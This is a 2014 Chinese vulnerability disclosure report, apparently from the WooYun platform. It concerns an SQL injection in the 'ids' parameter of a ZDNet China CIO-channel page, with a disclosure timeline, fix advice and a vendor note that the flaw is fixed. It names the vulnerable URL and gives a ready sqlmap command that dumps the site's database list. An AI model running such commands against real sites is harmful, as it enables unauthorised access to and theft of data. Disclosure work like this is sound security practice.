漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向核心白帽子及相关领域专家公开
2014-03-23: 细节向普通白帽子公开
2014-04-02: 细节向实习白帽子公开
2014-04-17: 细节向公众公开

简要描述:

至顶网某分站存在SQL注入漏洞,可泄漏数据库数据信息等。

详细说明:

至顶网CIO与应用频道(http://cio.zdnet.com.cn/)存在SQL注入漏洞,具体的漏洞URL为:



http://cio.zdnet.com.cn/techzone/grade/zhuantia.php?act=article_content_list&classid=121&ids=*



ids参数存在问题,导致漏洞的产生.SQLMAP注入命令如下:



sqlmap.py -u "http://cio.zdnet.com.cn/techzone/grade/zhuantia.php?act=article_content_list&classid=121&ids=*" --dbs --thread 10 --level 3 --time-sec 20



漏洞证明:

会导致数据库中的数据泄漏,如图所示:



2.jpg





1.jpg



修复方案:

1,对参数ids进行类型判断,过滤;



2,禁止使用拼接SQL语句

版权声明:转载请注明来源 her0ma@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-03-03 14:11

厂商回复:

漏洞已经修复,感谢!

最新状态:

暂无


漏洞评价: